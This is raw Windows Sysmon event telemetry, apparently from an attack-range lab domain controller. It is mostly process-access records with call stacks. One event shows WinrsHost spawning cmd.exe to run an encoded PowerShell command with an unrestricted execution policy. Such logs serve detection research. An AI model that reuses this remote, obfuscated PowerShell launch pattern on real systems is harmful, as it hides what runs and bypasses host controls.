09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-2897-5F80-F802-000000007E01}4228C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x800000000000000064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-2897-5F80-F602-000000007E01}50042452C:\Windows\system32\WinrsHost.exe{A5F018FF-2897-5F80-F802-000000007E01}4228C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x800000000000000063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.979{A5F018FF-2897-5F80-F802-000000007E01}4228C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x800000000000000062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.971{A5F018FF-272E-5F80-1400-000000007E01}13481664C:\Windows\system32\svchost.exe{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x800000000000000058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.955{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2897-5F80-F702-000000007E01}4128C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x800000000000000055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 